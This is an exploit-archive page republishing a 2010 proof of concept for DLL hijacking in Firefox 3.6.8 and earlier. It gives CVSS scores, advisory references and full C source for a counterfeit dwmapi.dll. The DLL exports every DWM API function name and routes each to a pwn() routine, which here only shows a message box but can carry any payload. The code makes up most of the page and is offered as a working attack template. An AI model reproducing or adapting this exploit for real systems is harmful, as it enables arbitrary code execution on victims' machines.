Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll]

2010.08.27
Risk: Low
Local: No
Remote: No
CWE: CWE-Other


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* Exploit Title: Firefox <= 3.6.8 DLL Hijacking Exploit [dwmapi.dll] Date: August 24, 2010 Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com) Version: Latest Firefox v3.6.8 Tested on: Windows XP SP3 En Vulnerable extensions: .htm .html .jtx .mfp Greetz: Astalavista, OffSEC, Exploit-DB */ #include <windows.h> #define DllExport __declspec (dllexport) DllExport void CPAcquireContext() { pwn(); } DllExport void DWMAPI_100() { pwn(); } DllExport void DWMAPI_101() { pwn(); } DllExport void DwmEnableComposition() { pwn(); } DllExport void DWMAPI_103() { pwn(); } DllExport void DWMAPI_104() { pwn(); } DllExport void DWMAPI_105() { pwn(); } DllExport void DWMAPI_106() { pwn(); } DllExport void DWMAPI_107() { pwn(); } DllExport void DWMAPI_108() { pwn(); } DllExport void DWMAPI_109() { pwn(); } DllExport void DWMAPI_110() { pwn(); } DllExport void DWMAPI_111() { pwn(); } DllExport void DWMAPI_112() { pwn(); } DllExport void DWMAPI_113() { pwn(); } DllExport void DWMAPI_115() { pwn(); } DllExport void DWMAPI_116() { pwn(); } DllExport void DWMAPI_117() { pwn(); } DllExport void DWMAPI_118() { pwn(); } DllExport void DWMAPI_119() { pwn(); } DllExport void DWMAPI_120() { pwn(); } DllExport void DwmAttachMilContent() { pwn(); } DllExport void DwmDefWindowProc() { pwn(); } DllExport void DwmDetachMilContent() { pwn(); } DllExport void DwmEnableBlurBehindWindow() { pwn(); } DllExport void DwmEnableMMCSS() { pwn(); } DllExport void DwmExtendFrameIntoClientArea() { pwn(); } DllExport void DwmFlush() { pwn(); } DllExport void DwmGetColorizationColor() { pwn(); } DllExport void DwmGetCompositionTimingInfo() { pwn(); } DllExport void DwmGetGraphicsStreamClient() { pwn(); } DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); } DllExport void DwmGetTransportAttributes() { pwn(); } DllExport void DwmGetWindowAttribute() { pwn(); } DllExport void DwmIsCompositionEnabled() { pwn(); } DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); } DllExport void DwmQueryThumbnailSourceSize() { pwn(); } DllExport void DwmRegisterThumbnail() { pwn(); } DllExport void DwmSetDxFrameDuration() { pwn(); } DllExport void DwmSetPresentParameters() { pwn(); } DllExport void DwmSetWindowAttribute() { pwn(); } DllExport void DwmUnregisterThumbnail() { pwn(); } DllExport void DwmUpdateThumbnailProperties() { pwn(); } int pwn() { MessageBox(0, "Firefox DLL Hijacking!", "DLL Message", MB_OK); return 0; }

References:

http://www.vupen.com/english/advisories/2010/2169
http://www.securityfocus.com/archive/1/archive/1/513324/100/0/threaded
http://www.exploit-db.com/exploits/14783
http://secunia.com/advisories/41095


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top